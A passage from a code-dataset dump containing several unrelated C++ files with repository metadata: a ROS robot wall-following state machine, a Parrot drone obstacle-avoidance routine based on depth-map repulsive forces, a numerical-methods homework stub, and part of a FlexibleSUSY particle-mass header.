fsm_.set_entry_function(prepare_for_timeout_state_, boost::bind(&WallFollower::on_enter_prepare_for_timeout, this));\n  fsm_.set_update_function(prepare_for_timeout_state_, boost::bind(&WallFollower::on_update_prepare_for_timeout, this));\n\n  fsm_.set_entry_function(timeout_state_, boost::bind(&WallFollower::on_enter_timeout, this));\n  fsm_.set_update_function(timeout_state_, boost::bind(&WallFollower::on_update_timeout, this));\n}\n\nvoid WallFollower::activate(const Goal& goal)\n{\n  ros::NodeHandle private_nh(\"~\");\n  private_nh.param(\"obstacle_avoider/stop_if_obstacle_within_distance\", params_.stop_if_obstacle_within_distance, 1.5);\n  private_nh.param(\"obstacle_avoider/robot_radius\", params_.robot_radius, 0.63);\n  private_nh.param(\"obstacle_avoider/wait_for_obstacle_clear_duration\", params_.wait_for_obstacle_clear_duration, 30.0);\n  private_nh.param(\"obstacle_avoider/side_angle\", params_.side_angle, 1.0);\n  private_nh.param(\"obstacle_avoider/incremental_distance\", params_.incremental_distance, 2.0);\n  private_nh.param(\"obstacle_avoider/move_timeout\", params_.move_timeout, -1.0);\n  private_nh.param(\"obstacle_avoider/turn_timeout\", params_.turn_timeout, -1.0);\n  private_nh.param(\"obstacle_avoider/always_turn_back\", params_.always_turn_back, true);\n\n  ROS_INFO(\"Activating wall follower.  Rectangle x dimension: %f, robot radius: %f, \"\n           \"wait for obstacle clear duration: %f, side angle: %f, \"\n           \"incremental forward distance: %f, move timeout: %f, turn timeout: %f, always turn back: %d\",\n           params_.stop_if_obstacle_within_distance,\n           params_.robot_radius,\n           params_.wait_for_obstacle_clear_duration,\n           params_.side_angle,\n           params_.incremental_distance,\n           params_.move_timeout,\n           params_.turn_timeout,\n           params_.always_turn_back);\n\n  state_ = State();\n  goal_ = goal;\n  fsm_.set_state(wait_for_obstacle_clear_state_);\n}\n\nWallFollower::Output WallFollower::update(const Input& input)\n{\n  input_ = input;\n  output_ = Output();\n  fsm_.update();\n  return output_;\n}\n\nvoid WallFollower::on_enter_command_move_forward()\n{\n  ROS_INFO(\"WallFollower: Commanding forward move.\");\n}\n\nint WallFollower::on_update_command_move_forward()\n{\n  output_.set_mode(Output::MOVE_FORWARD);\n  output_.set_distance(params_.incremental_distance);\n  return move_forward_state_;\n}\n\nvoid WallFollower::on_enter_move_forward()\n{\n  ROS_INFO(\"WallFollower: Waiting for forward move to complete.\");\n  // Reset the counts in the move forward data.\n  move_forward_data_ = MoveForwardData();\n  move_forward_data_.start_time = ros::WallTime::now();\n  ObstacleDetector::DetectionParamsList detection_params(2);\n  // Forwards detection.\n  detection_params[0] = ObstacleDetector::DetectionParams(\n      params_.stop_if_obstacle_within_distance, 2.0 * params_.robot_radius, 0.0, false);\n  // Wall detection.  We want to count misses.\n  double angle = params_.side_angle;\n  if (goal_.side() == Goal::LEFT)\n  {\n    angle = params_.side_angle;\n  }\n  detection_params[1] = ObstacleDetector::DetectionParams(\n      params_.stop_if_obstacle_within_distance, 2.0 * params_.robot_radius, angle, true);\n  obstacle_detector_.activate(detection_params);\n}\n\nint WallFollower::on_update_move_forward()\n{\n  // Update the obstacle detector.\n  std::vector<bool> detections;\n  obstacle_detector_.update(&detections);\n\n  if (detections[0])\n  {\n    // STOOOOOOOOP!  STOOOOOP NOW.\n    return wait_for_obstacle_clear_state_;\n  }\n\n  // Check for timeout.\n  if (params_.move_timeout > 0 &&\n      ros::WallTime::now() - move_forward_data_.start_time > ros::WallDuration(params_.move_timeout))\n  {\n    return prepare_for_timeout_state_;\n  }\n\n  if (input_.mode() != Input::READY_FOR_NEW_COMMAND)\n  {\n    // We aren't ready to do anything new.\n    return move_forward_state_;\n  }\n\n  if (params_.always_turn_back || detections[1])\n  {\n    // Wall on the side is gone!  Turn to follow wall.\n    return command_turn_into_state_;\n  }\n\n  // There is still something next to us.  Move forward an incremental distance.\n  return command_move_forward_state_;\n}\n\nvoid WallFollower::on_enter_wait_for_obstacle_clear()\n{\n  ROS_INFO(\"WallFollower: Waiting %f seconds to see if obstacle clears.\", params_.wait_for_obstacle_clear_duration);\n  wait_for_obstacle_clear_data_ = WaitForObstacleClearData();\n  wait_for_obstacle_clear_data_.start_time = ros::WallTime::now();\n  // Count obstacle misses.\n  obstacle_detector_.activate(ObstacleDetector::DetectionParamsList(\n      1, ObstacleDetector::DetectionParams(\n          params_.stop_if_obstacle_within_distance, 2.0 * params_.robot_radius, 0.0, true)));\n  output_.set_mode(Output::OBSTACLE_AHEAD);\n}\n\nint WallFollower::on_update_wait_for_obstacle_clear()\n{\n  bool no_obstacle = obstacle_detector_.update();\n\n  // We're still trying to stop.\n  if (input_.mode() != Input::READY_FOR_NEW_COMMAND)\n  {\n    return wait_for_obstacle_clear_state_;\n  }\n\n  if (no_obstacle)\n  {\n    // The obstacle left!  Yay.\n    if (fabs(state_.current_angle) < 0.1)\n    {\n      // Since we start in this state it's possible we just waited for an obstacle to go by and now we are done.\n      return successful_completion_state_;\n    }\n\n    // Move forward again.\n    return command_move_forward_state_;\n  }\n\n  if (ros::WallTime::now() - wait_for_obstacle_clear_data_.start_time >\n      ros::WallDuration(params_.wait_for_obstacle_clear_duration))\n  {\n    // The obstacle is still there :(  Wall follow around it.\n    return command_turn_away_state_;\n  }\n\n  // Keep waiting.\n  if (output_.mode() == Output::WAIT_FOR_READY)\n  {\n    output_.set_mode(Output::STOP);\n  }\n  return wait_for_obstacle_clear_state_;\n}\n\nvoid WallFollower::on_enter_command_turn_away()\n{\n  ROS_INFO(\"WallFollower: Commanding turn away from wall.\");\n}\n\nint WallFollower::on_update_command_turn_away()\n{\n  output_.set_mode(Output::TURN);\n  double angle = M_PI / 2.0;\n  if (goal_.side() == Goal::RIGHT)\n  {\n    angle = -M_PI / 2.0;\n  }\n  output_.set_distance(angle);\n  state_.current_angle = wrapAngle(state_.current_angle + angle);\n  return wait_for_turn_state_;\n}\n\nvoid WallFollower::on_enter_command_turn_into()\n{\n  ROS_INFO(\"WallFollower: No wall detected.  Commanding a turn back.\");\n}\n\nint WallFollower::on_update_command_turn_into()\n{\n  output_.set_mode(Output::TURN);\n  // We're going to turn the opposite way from how the goal commanded.\n  double angle = M_PI / 2.0;\n  if (goal_.side() == Goal::LEFT)\n  {\n    angle = -M_PI / 2.0;\n  }\n  output_.set_distance(angle);\n  state_.current_angle = wrapAngle(state_.current_angle + angle);\n  return wait_for_turn_state_;\n}\n\nvoid WallFollower::on_enter_wait_for_turn()\n{\n  ROS_INFO(\"WallFollower: Waiting for turn to be completed.\");\n  wait_for_turn_data_.start_time = ros::WallTime::now();\n}\n\nint WallFollower::on_update_wait_for_turn()\n{\n  if (params_.turn_timeout > 0 && ros::WallTime::now() - wait_for_turn_data_.start_time >\n      ros::WallDuration(params_.turn_timeout))\n  {\n    return prepare_for_timeout_state_;\n  }\n  if (input_.mode() != Input::READY_FOR_NEW_COMMAND)\n  {\n    return wait_for_turn_state_;\n  }\n\n  if (fabs(state_.current_angle) > 0.1)\n  {\n    return command_move_forward_state_;\n  }\n\n  // We've regained our original heading.  We're done!\n  return successful_completion_state_;\n}\n\nvoid WallFollower::on_enter_successful_completion()\n{\n  ROS_INFO(\"WallFollower: Original heading regained.  Obstacle successfully avoided!\");\n}\n\nint WallFollower::on_update_successful_completion()\n{\n  output_.set_mode(Output::SUCCESSFUL_COMPLETION);\n  return successful_completion_state_;\n}\n\nvoid WallFollower::on_enter_prepare_for_timeout()\n{\n  ROS_ERROR(\"WallFollower: A move or turn timed out.  Issuing a STOP command.\");\n  output_.set_mode(Output::OBSTACLE_AHEAD);\n}\n\nint WallFollower::on_update_prepare_for_timeout()\n{\n  if (input_.mode() == Input::READY_FOR_NEW_COMMAND)\n  {\n    return timeout_state_;\n  }\n  return prepare_for_timeout_state_;\n}\n\nvoid WallFollower::on_enter_timeout()\n{\n  ROS_ERROR(\"WallFollower: A move or turn timed out.\");\n}\n\nint WallFollower::on_update_timeout()\n{\n  output_.set_mode(Output::TIMEOUT);\n  return timeout_state_;\n}\n\n}  // namespace Navigation\n}  // namespace OutdoorBot\n", "meta": {"hexsha": "fabe8392d849e19841ef4e0fceccd63fbd4f57d2", "size": 10672, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/navigation/WallFollower.cpp", "max_stars_repo_name": "dan-git/outdoor_bot", "max_stars_repo_head_hexsha": "81bf75e26449f8e4b6a38f4049ca4d4cda7b8c04", "max_stars_repo_licenses": ["BSD-2-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/navigation/WallFollower.cpp", "max_issues_repo_name": "dan-git/outdoor_bot", "max_issues_repo_head_hexsha": "81bf75e26449f8e4b6a38f4049ca4d4cda7b8c04", "max_issues_repo_licenses": ["BSD-2-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/navigation/WallFollower.cpp", "max_forks_repo_name": "dan-git/outdoor_bot", "max_forks_repo_head_hexsha": "81bf75e26449f8e4b6a38f4049ca4d4cda7b8c04", "max_forks_repo_licenses": ["BSD-2-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.9382716049, "max_line_length": 120, "alphanum_fraction": 0.7519677661, "num_tokens": 2672, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737563, "lm_q2_score": 0.2658804730998169, "lm_q1q2_score": 0.14123819950767158}}
{"text": "/*\n * Copyright (c) 2016 Parrot S.A.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *   * Redistributions of source code must retain the above copyright\n *     notice, this list of conditions and the following disclaimer.\n *   * Redistributions in binary form must reproduce the above copyright\n *     notice, this list of conditions and the following disclaimer in the\n *     documentation and/or other materials provided with the distribution.\n *   * Neither the name of the Parrot Company nor the\n *     names of its contributors may be used to endorse or promote products\n *     derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE PARROT COMPANY BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n */\n\n#include \"episkopi/Avoid.hpp\"\n\n#include \"episkopi/AvoidSettings.hpp\"\n\n#include <Eigen/Geometry>\n#include <fstream>\n#include <iostream>\n#include <sys/time.h>\n\nnamespace\n{\n\ntemplate <typename T>\ninline T simplePow(T base, unsigned exp)\n{\n    T result = base;\n    for (unsigned i = 1; i < exp; ++i)\n    {\n        result *= base;\n    }\n    return result;\n}\n\ntemplate <typename T>\nT clamp(const T &x, const T &lower, const T &upper)\n{\n    return std::max(lower, std::min(x, upper));\n}\n\n} // unnamed namespace\n\nnamespace episkopi\n{\n\nvoid Avoid::repulsiveForce(const cv::Mat1f &img)\n{\n    // Distance between drone and obstacle\n    float r = 0.f;\n\n    // Drone future position if it keeps the same speed\n    m_futurePos = Eigen::Vector3f(0.f, 0.f, 0.f);\n\n    // Voxel coordinate\n    Eigen::Vector3f voxelCoord = Eigen::Vector3f(0.f, 0.f, 0.f);\n    Eigen::Vector3f voxelForce = Eigen::Vector3f(0.f, 0.f, 0.f);\n\n    // Number of point closer than <wallDetectionDistance> to the drone\n    int nbClosePoint = 0;\n\n    // Intermediary sum for the repulsive force for each axis\n    Eigen::Vector3f sumForceVoxelWithImpact = Eigen::Vector3f(0.f, 0.f, 0.f);\n    Eigen::Vector3f sumForceVoxelWithoutImpact = Eigen::Vector3f(0.f, 0.f, 0.f);\n\n    m_minImpactTime = std::numeric_limits<float>::max();\n\n    // Computation of the sums on each axis\n    for (unsigned short j = 0; j < img.rows; j++)\n    {\n        for (unsigned short i = 0; i < img.cols; i++)\n        {\n            // depth in m\n            voxelCoord[2] = img.at<float>(j, i);\n            if (std::isnan(voxelCoord[2]))\n            {\n                voxelCoord[2] = 0.;\n            }\n\n            // We want to ignore 0 because it means no informations\n            // In stereo mode value under 0.5 m are wrong so we don't use them\n            if (voxelCoord[2] <= m_settings.minDistToCompute)\n            {\n                continue;\n            }\n            // determination of voxel coordinates in the drone\n            // coordinate system in m\n            // vertical field of view = PI / 2.45\n            voxelCoord[0] =\n                -voxelCoord[2] *\n                std::tan((j - img.rows / 2) * m_settings.vFov / img.rows);\n            // horizontal field of view = PI / 2\n            voxelCoord[1] =\n                voxelCoord[2] *\n                std::tan((i - img.cols / 2) * m_settings.hFov / img.cols);\n            r = voxelCoord.norm();\n\n            // counting number of points closer than 75 cm for wall\n            // detection\n            if (voxelCoord[2] < m_settings.wallDetectionDistance)\n                nbClosePoint++;\n\n            for (int i = 0; i <= 2; i++)\n            {\n                voxelForce[i] =\n                    (voxelCoord[i] - m_futurePos[i]) /\n                    simplePow(\n                        r,\n                        static_cast<float>(m_settings.repulsiveForceFactor[i]) +\n                            1);\n            }\n\n            // if time before collision with voxel is under 3s it\n            // contributes to the repulsive force\n            float voxelImpactTime = impactTime(voxelCoord);\n            if (voxelImpactTime < m_settings.impactTimeThreshold)\n            {\n                if (voxelImpactTime < m_minImpactTime)\n                {\n                    m_minImpactTime = voxelImpactTime;\n                }\n                sumForceVoxelWithImpact -= voxelForce;\n            }\n            else\n            {\n                sumForceVoxelWithoutImpact -= voxelForce;\n            }\n        }\n    }\n\n    // check if in front of a wall when the depthMap is composed of more than\n    // wallDetectionMinSurfacePercent percent of close points\n    if (m_stopWall == false &&\n        nbClosePoint >\n            img.rows * img.cols * m_settings.wallDetectionMinSurfacePercent)\n    {\n        m_stopWall = true;\n        m_avoidingXYZ[2] = true;\n        std::cout << \"Stop there is a wall\" << std::endl;\n    }\n\n    const Eigen::Vector3f dminPowForce = Eigen::Vector3f(\n        simplePow(m_settings.minDistToObstacle,\n                  static_cast<unsigned>(m_settings.repulsiveForceFactor[0])),\n        simplePow(m_settings.minDistToObstacle,\n                  static_cast<unsigned>(m_settings.repulsiveForceFactor[1])),\n        simplePow(m_settings.minDistToObstacle,\n                  static_cast<unsigned>(m_settings.repulsiveForceFactor[2])));\n\n    assert(img.rows == 96 && img.cols == 96 &&\n           \"The size of the depth map must be 96x96\");\n\n    int balanceAttractiveForceFactor = 1;\n\n    for (int i = 0; i <= 2; i++)\n    {\n        m_forceVoxelWithImpact[i] =\n            std::max(std::abs(m_speedIn[i]), 1.f) * dminPowForce[i] *\n            balanceAttractiveForceFactor * sumForceVoxelWithImpact[i] /\n            m_settings.pixelStopThreshold[i];\n\n        m_forceVoxelWithoutImpact[i] =\n            std::max(std::abs(m_speedIn[i]), 1.f) * dminPowForce[i] *\n            balanceAttractiveForceFactor * sumForceVoxelWithoutImpact[i] /\n            m_settings.pixelStopThreshold[i];\n\n        // If the repulsive force induce more than avoidPercentThreshold\n        // of variation then we take it into account\n        m_avoidingXYZ[i] =\n            std::abs(sumForceVoxelWithImpact[i]) >\n            std::max(std::abs(m_speedIn[i]) * m_settings.fRVinRatioThreshold,\n                     m_settings.minimumAvoidSpeed);\n    }\n}\n\nvoid Avoid::droneSpeed(const float normVIn)\n{\n    if (m_stopWall == true)\n    {\n        m_speedOut = Eigen::Vector3f(0.f, 0.f, 0.f);\n        return;\n    }\n    else\n    {\n        m_speedOut = m_speedIn + m_forceVoxelWithImpact +\n                     m_forceVoxelWithoutImpact + m_attractiveForce;\n    }\n\n    // check if -m_settings.vMax < m_vxOut,m_vyOut,m_vzOut < m_settings.vMax\n    m_speedOut[0] = clamp(m_speedOut[0], -m_settings.vMax, m_settings.vMax);\n\n    m_speedOut[1] = clamp(m_speedOut[1], -m_settings.vMax, m_settings.vMax);\n\n    if (m_speedOut[1] > m_settings.vMax)\n        m_speedOut[1] = m_settings.vMax;\n    else\n    {\n        // drone should not go backwards but must be able to decelerate quickly\n        // Consigne de vitesse n\u00e9gative mais pas de vitesse n\u00e9gative\n        if (m_speedOut[2] > 0.2f)\n        {\n            if (m_speedOut[2] < -m_settings.vMax)\n                m_speedOut[2] = -m_settings.vMax;\n        }\n        else if (m_speedOut[2] < 0)\n            m_speedOut[2] = 0;\n    }\n\n    // drone should not go faster than original speed when avoiding\n    float normV = m_speedOut.norm();\n    if (normV > normVIn)\n    {\n        float coef = std::max(normVIn, 0.1f) /\n                     std::max(normV, 0.1f);\n\n\n\n        m_speedOut = m_speedOut * coef;\n    }\n\n    userNotification();\n}\n\nvoid Avoid::computeSpeed(float v1,\n                         float v2,\n                         float v3,\n                         float roll,\n                         float pitch,\n                         float yaw,\n                         const cv::Mat1f &image)\n{\n    // Repulsive forces should be enough but to avoid oscillations we put all\n    // speeds to 0\n    if (m_stopWall == true)\n    {\n        m_speedOut = Eigen::Vector3f(0.f, 0.f, 0.f);\n    }\n    else\n    {\n        m_avoidingXYZ = {{false, false, false}};\n        m_speedIn = Eigen::Vector3f(v3, -v2, v1);\n        m_angles = Eigen::Vector3f(roll, pitch, yaw);\n\n        const float normVIn = m_speedIn.norm();\n\n        repulsiveForce(image);\n\n        droneSpeed(normVIn);\n    }\n}\n\nvoid Avoid::userNotification() const\n{\n    if (isAvoiding())\n    {\n        if (m_speedOut[1] > m_speedIn[1])\n        {\n            std::cout << \"Avoid left\" << std::endl;\n        }\n        else if (m_speedOut[1] < m_speedIn[1])\n        {\n            std::cout << \"Avoid right\" << std::endl;\n        }\n\n        if (m_stopWall)\n        {\n            std::cout << \"Avoid stop\" << std::endl;\n        }\n    }\n    else\n    {\n        std::cout << \"Not avoiding\" << std::endl;\n    }\n}\n\nbool Avoid::isAvoiding() const\n{\n    return (m_avoidingXYZ[0] || m_avoidingXYZ[1] || m_avoidingXYZ[2]);\n}\n\nstd::array<float, 3>\nAvoid::updateAvoidCMD(float rollCMD, float pitchCMD, float gazCMD)\n{\n    // Do not change altitude during avoidance\n    gazCMD = 0;\n    std::array<float, 3> updatedCMD = {{rollCMD, pitchCMD, gazCMD}};\n\n    if (!(m_avoidingXYZ[2] || m_avoidingXYZ[1]))\n    {\n        return updatedCMD;\n    }\n    else if (m_stopWall && m_speedIn[2] < 0.2f)\n    {\n        return {{0, 0, 0}};\n    }\n\n    if (m_avoidingXYZ[2] || m_avoidingXYZ[1])\n    {\n        if (m_speedIn[2] > 0.3f)\n        {\n            updatedCMD[1] = pitchCMD * 0.8f;\n\n            if (m_stopWall && m_speedIn[2] > 0.2f)\n            {\n                updatedCMD[1] = -50;\n            }\n        }\n        else\n        {\n            updatedCMD[1] = 20;\n        }\n\n        if (m_speedOut[1] >= m_speedIn[1])\n        {\n            if (m_speedIn[2] > 0.3f)\n            {\n                updatedCMD[0] = pitchCMD * 0.8f;\n            }\n            else\n            {\n                updatedCMD[0] = 20;\n            }\n        }\n        else\n        {\n            if (m_speedIn[2] > 0.3f)\n            {\n                updatedCMD[0] = -pitchCMD * 0.8f;\n            }\n            else\n            {\n                updatedCMD[0] = -20;\n            }\n        }\n    }\n\n    return updatedCMD;\n}\n\nfloat Avoid::impactTime(Eigen::Vector3f voxelCoord)\n{\n    assert(voxelCoord[2] > 0.f && \"The depth must be strictly positive\");\n\n    float impactTime = std::numeric_limits<float>::max();\n\n    if (m_speedIn[2] <= 0)\n    {\n        return impactTime;\n    }\n\n    // then we check if the given point (x, y) is within a 1.6x1.6 window\n    // Centered on (xFuture, yFuture)\n    // if it's true then we will have an impact where the time before impact is\n    // the time to reach this window\n    if (std::abs(voxelCoord[0] - m_futurePos[0]) <\n            m_settings.occupationWindow.height &&\n        std::abs(voxelCoord[1] - m_futurePos[1]) <\n            m_settings.occupationWindow.width)\n    {\n        impactTime = m_futurePos.norm() / m_speedIn.norm();\n    }\n\n    return impactTime;\n}\n\n} // namespace episkopi\n", "meta": {"hexsha": "4f8cacd2b789f73a1b2700fbc28fbade963abb1e", "size": 11600, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/Avoid.cpp", "max_stars_repo_name": "anniebet/SLAMDUNK_ROS", "max_stars_repo_head_hexsha": "344bc0f18175f01285403bfdac0fe371c8c5f59a", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 4.0, "max_stars_repo_stars_event_min_datetime": "2017-03-20T21:10:39.000Z", "max_stars_repo_stars_event_max_datetime": "2019-04-09T13:00:27.000Z", "max_issues_repo_path": "src/Avoid.cpp", "max_issues_repo_name": "anniebet/SLAMDUNK_ROS", "max_issues_repo_head_hexsha": "344bc0f18175f01285403bfdac0fe371c8c5f59a", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/Avoid.cpp", "max_forks_repo_name": "anniebet/SLAMDUNK_ROS", "max_forks_repo_head_hexsha": "344bc0f18175f01285403bfdac0fe371c8c5f59a", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 4.0, "max_forks_repo_forks_event_min_datetime": "2017-05-18T08:05:49.000Z", "max_forks_repo_forks_event_max_datetime": "2021-03-31T10:27:48.000Z", "avg_line_length": 30.2872062663, "max_line_length": 80, "alphanum_fraction": 0.5725, "num_tokens": 3009, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5312093733737562, "lm_q2_score": 0.2658804730998169, "lm_q1q2_score": 0.14123819950767155}}
{"text": "/**\n * @file semimprk.cc\n * @brief NPDE homework SemImpRK code\n * @author Unknown, Oliver Rietmann\n * @date 04.04.2021\n * @copyright Developed at ETH Zurich\n */\n\n#include \"semimprk.h\"\n\n#include <Eigen/Core>\n#include <algorithm>\n#include <cmath>\n#include <iomanip>\n#include <iostream>\n#include <vector>\n\n#include \"../../../lecturecodes/helperfiles/polyfit.h\"\n\nnamespace SemImpRK {\n\n/* SAM_LISTING_BEGIN_0 */\ndouble CvgRosenbrock() {\n  double cvgRate = 0.0;\n  // Use polyfit to estimate the rate of convergence\n  // for SolveRosenbrock.\n  //====================\n  // Your code goes here\n  //====================\n  return cvgRate;\n}\n/* SAM_LISTING_END_0 */\n\n}  // namespace SemImpRK\n", "meta": {"hexsha": "112af004c470d2b4bf989373a8ccb26854a2b49a", "size": 680, "ext": "cc", "lang": "C++", "max_stars_repo_path": "homeworks/SemImpRK/templates/semimprk.cc", "max_stars_repo_name": "0xBachmann/NPDECODES", "max_stars_repo_head_hexsha": "70a9d251033ab3d8719f0e221de4c2f4e9e8f4ea", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 15.0, "max_stars_repo_stars_event_min_datetime": "2019-04-29T11:28:56.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T05:10:58.000Z", "max_issues_repo_path": "homeworks/SemImpRK/templates/semimprk.cc", "max_issues_repo_name": "0xBachmann/NPDECODES", "max_issues_repo_head_hexsha": "70a9d251033ab3d8719f0e221de4c2f4e9e8f4ea", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12.0, "max_issues_repo_issues_event_min_datetime": "2020-02-29T15:05:58.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-21T13:51:07.000Z", "max_forks_repo_path": "homeworks/SemImpRK/templates/semimprk.cc", "max_forks_repo_name": "0xBachmann/NPDECODES", "max_forks_repo_head_hexsha": "70a9d251033ab3d8719f0e221de4c2f4e9e8f4ea", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 26.0, "max_forks_repo_forks_event_min_datetime": "2020-01-09T15:59:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-24T16:27:33.000Z", "avg_line_length": 19.4285714286, "max_line_length": 54, "alphanum_fraction": 0.65, "num_tokens": 187, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.28457599814899737, "lm_q1q2_score": 0.14117639669724538}}
{"text": "// ====================================================================\n// This file is part of FlexibleSUSY.\n//\n// FlexibleSUSY is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published\n// by the Free Software Foundation, either version 3 of the License,\n// or (at your option) any later version.\n//\n// FlexibleSUSY is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n// General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with FlexibleSUSY.  If not, see\n// <http://www.gnu.org/licenses/>.\n// ====================================================================\n\n// File generated at Thu 10 May 2018 14:51:53\n\n#ifndef MSSMNoFVatMGUT_PHYSICAL_H\n#define MSSMNoFVatMGUT_PHYSICAL_H\n\n#include <Eigen/Core>\n\n#include <iosfwd>\n\nnamespace flexiblesusy {\n\nstruct MSSMNoFVatMGUT_physical {\n   void clear();\n   void convert_to_hk();   ///< converts pole masses to HK convention\n   void convert_to_slha(); ///< converts pole masses to SLHA convention\n   Eigen::ArrayXd get() const; ///< returns array with all masses and mixings\n   void set(const Eigen::ArrayXd&); ///< set all masses and mixings\n   Eigen::ArrayXd get_masses() const; ///< returns array with all masses\n   void set_masses(const Eigen::ArrayXd&); ///< set all masses\n   void print(std::ostream&) const;\n\n   double MVG{};\n   double MGlu{};\n   double MFd{};\n   double MFs{};\n   double MFb{};\n   double MFu{};\n   double MFc{};\n   double MFt{};\n   double MFve{};\n   double MFvm{};\n   double MFvt{};\n   double MFe{};\n   double MFm{};\n   double MFtau{};\n   double MSveL{};\n   double MSvmL{};\n   double MSvtL{};\n   Eigen::Array<double,2,1> MSd{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSu{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSe{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSm{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MStau{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSs{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSc{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSb{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MSt{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> Mhh{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MAh{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,2,1> MHpm{Eigen::Array<double,2,1>::Zero()};\n   Eigen::Array<double,4,1> MChi{Eigen::Array<double,4,1>::Zero()};\n   Eigen::Array<double,2,1> MCha{Eigen::Array<double,2,1>::Zero()};\n   double MVWm{};\n   double MVP{};\n   double MVZ{};\n\n   Eigen::Matrix<double,2,2> ZD{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZU{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZE{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZM{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZTau{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZS{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZC{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZB{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZT{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZH{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZA{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZP{Eigen::Matrix<double,2,2>::Zero()};\n   Eigen::Matrix<std::complex<double>,4,4> ZN{Eigen::Matrix<std::complex<double>,4,4>::Zero()};\n   Eigen::Matrix<std::complex<double>,2,2> UM{Eigen::Matrix<std::complex<double>,2,2>::Zero()};\n   Eigen::Matrix<std::complex<double>,2,2> UP{Eigen::Matrix<std::complex<double>,2,2>::Zero()};\n   Eigen::Matrix<double,2,2> ZZ{Eigen::Matrix<double,2,2>::Zero()};\n\n};\n\nstd::ostream& operator<<(std::ostream&, const MSSMNoFVatMGUT_physical&);\n\n} // namespace flexiblesusy\n\n#endif\n", "meta": {"hexsha": "6d25ed6049361b72a0f4c5e2670498244a8fc8bd", "size": 4116, "ext": "hpp", "lang": "C++", "max_stars_repo_path": "contrib/MassSpectra/flexiblesusy/models/MSSMNoFVatMGUT/MSSMNoFVatMGUT_physical.hpp", "max_stars_repo_name": "sebhoof/gambit_1.5", "max_stars_repo_head_hexsha": "f9a3f788e3331067c555ae1a030420e903c6fdcd", "max_stars_repo_licenses": ["Unlicense"], "max_stars_count": 2.0, "max_stars_repo_stars_event_min_datetime": "2020-09-08T20:05:27.000Z", "max_stars_repo_stars_event_max_datetime": 